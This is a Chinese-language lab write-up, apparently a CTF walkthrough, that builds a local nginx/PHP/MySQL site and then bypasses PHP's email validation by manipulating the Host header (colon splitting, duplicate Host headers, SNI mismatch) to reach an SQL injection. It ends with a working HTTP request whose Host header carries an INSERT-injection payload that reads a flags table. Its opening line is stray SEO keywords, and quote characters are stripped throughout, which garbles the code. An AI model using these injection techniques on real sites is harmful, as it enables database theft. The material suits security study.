asp网站安装到空间,东莞seo关键词优化,弹出全屏视频网站怎么做,南昌网站建设排行目录
首先需要搭建环境
nginxphpmysql环境#xff1a;
搭建网站
FILTER_VALIDATE_EMAIL 绕过
方法1#xff1a;冒号号分割host字段
方法2#xff1a;冒号号分割host字段
方法3#xff1a;SNI扩展绕过 首先需要搭建环境
nginxphpmysql环境#xff1a;
php安装包phpmysql环境
搭建网站
FILTER_VALIDATE_EMAIL 绕过
方法1冒号号分割host字段
方法2冒号号分割host字段
方法3SNI扩展绕过 首先需要搭建环境
nginxphpmysql环境
php安装包https://www.php.net/distributions/php-8.2.13.tar.gz
也可以直接使用yum的方式安装 yum install php安装完成后我们可以在www/html/下新建一个php文件查看是否可以正常解析
cat index.php
?php phpinfo(); php?如果看到这样的页面则说明我们的php安装已经成功了
具体的ngixn和mysql安装可以看这里
Nginx环境搭建
MySQL入门必备Linux中部署MySQL环境的四种方式详解
搭建网站
1下载源码包
这里我分享给大家
链接https://pan.baidu.com/s/1267CI6AmiHOBB1TU_4qhMQ?pwd8848 提取码8848
2解压源码包
3将源码包移动到/usr/local/nginx/html/目录下方便查看我将其重命名为mhz
4修改/usr/local/nginx/html/mhz/protected中的config.php文件 5在/mhz下创建一个名为web的文件夹用于存放网页
mkdir web
6为mhz文件授权
chmod -R 777 mhz/
7配置虚拟主机
[root192~ protected]# vim /etc/nginx/nginx.conf
# 2023.mhz.pw
server {listen 80; server_name 2023.mhz.pw; root html/pwnhub/web;index index.html index.php;
location / {try_files $uri $uri/ /index.php;}location ~ \.php(.*)$ {fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;fastcgi_split_path_info ^((?U).\.php)(/?.)$;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;include fastcgi_params;}
}
8设置本地centos的DNS
vim /etc/hosts
127.0.0.1 2023.mhz.pw
9重启nginx服务
10为了在widows上测试在window的hosts中也写上对应关系
192.168.159.200 2023.mhz.pw
11进行数据库的配置
首先在centos中进入到mysql中创建一个名为security的数据库
create database security;
12然后使用该数据库
use security;
创建数据库和表
create databases security;
use security;
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS 0;DROP TABLE IF EXISTS flags;
CREATE TABLE flags (id int(10) unsigned NOT NULL AUTO_INCREMENT,flag varchar(256) DEFAULT NULL,PRIMARY KEY (id)
) ENGINEInnoDB AUTO_INCREMENT2 DEFAULT CHARSETutf8mb4;DROP TABLE IF EXISTS users;
CREATE TABLE users (id int(10) unsigned NOT NULL AUTO_INCREMENT,username varchar(256) NOT NULL,password varchar(32) NOT NULL,email varchar(256) DEFAULT NULL,PRIMARY KEY (id),UNIQUE KEY username (username)
) ENGINEInnoDB AUTO_INCREMENT15 DEFAULT CHARSETutf8mb4;SET FOREIGN_KEY_CHECKS 1;
我们可以给数据库中的flag中插入一条flag后面注入时会用到
insert into flags (flag) value(I_Love_security);12然后我们就可以在浏览器尝试访问2023.mhz.pw 如图所示成功访问
13现在先去注册一个账号
访问页面http://2023.mhz.pw/main/register
到这里网站的搭建就完成了
FILTER_VALIDATE_EMAIL 绕过
我们先看看这个网页的源代码
登录页面的源代码 function actionLogin(){//判断传参方式是否为表单的post方法if ($_POST) {//数据交给arg()来处理我们需要去查看arg函数$username arg(username);$password md5(arg(password, ));if (empty($username) || empty($password)) {$this-error(Username or password is empty.);}$user new User();$data $user-query(SELECT * FROM {$user-table_name} WHERE username {$username} AND password {$password});if (empty($data) or $data[0][password] ! $password) {$this-error(Username or password is error.);}$_SESSION[user_id] $data[0][id];$this-jump(/);}}#以下为core里面的内容
function escape($arg) {if(is_array($arg)) {foreach ($arg as $value) {escape($value);}} else {$arg str_replace([, \\, (, )], [‘, \\\\, , ], $arg);}
}function arg($name, $default null, $trim false) {if (isset($_REQUEST[$name])) {$arg $_REQUEST[$name];} elseif (isset($_SERVER[$name])) {$arg $_SERVER[$name];} else {$arg $default;}if($trim) {$arg trim($arg);}return $arg;
}从上述代码段内部可以看到arg函数利用request接收由于REQUEST被全局过滤函数escape过滤了单引号。所以usernamepassword没法利用。无法使用其作为传入单引号的注入点
那么再看看注册页面的源代码
function actionRegister(){if ($_POST) {$username arg(username);$password arg(password);if (empty($username) || empty($password)) {$this-error(Username or password is empty.);}$email arg(email);//利用host字段拼接用户的邮箱if (empty($email)) {$email $username . . arg(HTTP_HOST);}//用户邮箱的合法性验证 --- 利用了FILTER_VALIDATE_EMAIL函数if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {$this-error(Email error.);}$user new User();$data $user-query(SELECT * FROM {$user-table_name} WHERE username {$username});if ($data) {$this-error(This username is exists.);}$ret $user-create([username $username,password md5($password),email $email]);if ($ret) {$_SESSION[user_id] $user-lastInsertId();} else {$this-error(Unknown error.);}}} 这里的注册方式是使用create创建的然后HTTP_HOST是通过Server获取的Server并没有做任何过滤操作然后这个FILTER_VALIDATE_EMAIL是用来过滤email的它把值当做email来进行验证并且当邮箱地址为空时它会以usernameHTTP_HOST作为邮箱地址
FILTER_VALIDATE_EMAIL即以邮箱的格式对字符串进行检测
RFC 3696规定邮箱地址分为local part和domain part两部分。
local part中包含特殊字符需要如下处理 将特殊字符用\转义如Joe\Blowexample.com 或将local part包裹在双引号中如JoeBlowexample.com local part长度不超过64个字符
虽然PHP没有完全按照RFC 3696进行检测但支持上述第2种写法。所以我们可以利用之绕过FILTER_VALIDATE_EMAIL的检测。
我们可以使用下面这样的方式来尝试将传入的email格式来查看是否可以验证通过
?php
$email xxxxxx.com;
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
尝试访问后 可以看到这样并没有绕过email限制
因为代码中邮箱是用户名、、Host三者拼接而成但用户名是经过了转义的所以单引号只能放在Host中。
我们可以传入用户名为Host为aaaexample.com最后拼接出来的邮箱为aaaexample.com。
我们可以将上面的邮箱修改为这样的形式就是合法的了
?php
$email xxxxxx.com;//这里的xxx就写用户名和网站
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL)); 可以将web.php文件修改为
?php
echo $_SERVER[HTTP_HOST];来查找HTTP_HOST的值 可以看到这里打印的使我们的域名
然后我们尝试使用抓包的方式抓到注册页面的数据包并且试着利用上面的方法构造这样的一个Host试试看 返回的页面为404 notfound,这是因为nginx不知道应该交给哪一个模块进行解析于是就交给了默认的模块进行处理而在默认的路径下我们有没有进行这个页面的部署于是出现了404的返回页面。
可以使用以下三种方式来绕过
方法1冒号号分割host字段
Nginx在处理Host的时候会将Host用冒号分割成hostname和portport部分被丢弃。
所以我们可以设置Host的值为2023.mhz.pw:xxxexample.com这样就能访问到目标Server块
nginx处理时会将:后的东西丢弃掉2023.mhz.pw
php接收时全部接收2023.mhz.pw:xxxexample.com
方法2双写host绕过
当我们传入两个Host头的时候Nginx将以第一个为准而PHP-FPM将以第二个为准。
也就是说如果我传入
Host: 2023.mhz.pw
Host: xxxexample.com
Nginx将认为Host为2023.mhz.pw并交给目标Server块处理
但PHP中使用$_SERVER[HTTP_HOST]取到的值却是xxxexample.com。
注这种方式在高版本中无法使用但是低版本可以
方法3SNI扩展绕过
SNI介绍
早期的SSLv2根据经典的公钥基础设施PKI(Public Key Infrastructure)设计它默认认为一台服务器或者说一个IP只会提供一个服务所以在SSL握手时服务器端可以确信客户端申请的是哪张证书。
但是让人万万没有想到的是虚拟主机大力发展起来了这就造成了一个IP会对应多个域名的情况。解决办法有一些例如申请泛域名证书对所有*.yourdomain.com的域名都可以认证但如果你还有一个yourdomain.net的域名那就不行了。
在HTTP协议中请求的域名作为主机头Host放在HTTP Header中所以服务器端知道应该把请求引向哪个域名但是早期的SSL做不到这一点因为在SSL握手的过程中根本不会有Host的信息所以服务器端通常返回的是配置中的第一个可用证书。因而一些较老的环境可能会产生多域名分别配好了证书但返回的始终是同一个。
既然问题的原因是在SSL握手时缺少主机头信息那么补上就是了。
SNIServer Name Indication定义在RFC 4366是一项用于改善SSL/TLS的技术在SSLv3/TLSv1中被启用。它允许客户端在发起SSL握手请求时具体说来是客户端发出SSL请求中的ClientHello阶段就提交请求的Host信息使得服务器能够切换到正确的域并返回相应的证书。
要使用SNI需要客户端和服务器端同时满足条件幸好对于现代浏览器来说大部分都支持SSLv3/TLSv1所以都可以享受SNI带来的便利。
方法3其原理就是我们在发送https数据包的时候SNI中指定的域名是example2.com而无需和HTTP报文中的Host头部保持一致nginx会选择SNI中的域名作为Server Name PHP接收的是host头部 Nginx接收的是SNI的域名 上面三种方式都导致mysql报错
Mysql注入
既然已经触发了SQL报错说明SQL注入近在眼前。通过阅读源码中包含的SQL结构我们知道flag在flags表中所以不废话直接注入读取该表。
插入显示位
因为用户成功登录后将会显示出该用户的邮箱地址所以我们可以将数据插入到这个位置。发送如下数据包
POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: ),(t123,md5(12123),(select(flag)from(flags)))#a.com
insert into users ...
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary--------356678531
Content-Length: 176
----------356678531
Content-Disposition: form-data; nameusername
a
----------356678531
Content-Disposition: form-data; namepassword
aaa
----------356678531--
可见我闭合了INSERT语句并插入了一个新用户t123并将flag读取到email字段。
登录该用户则直接获取flag。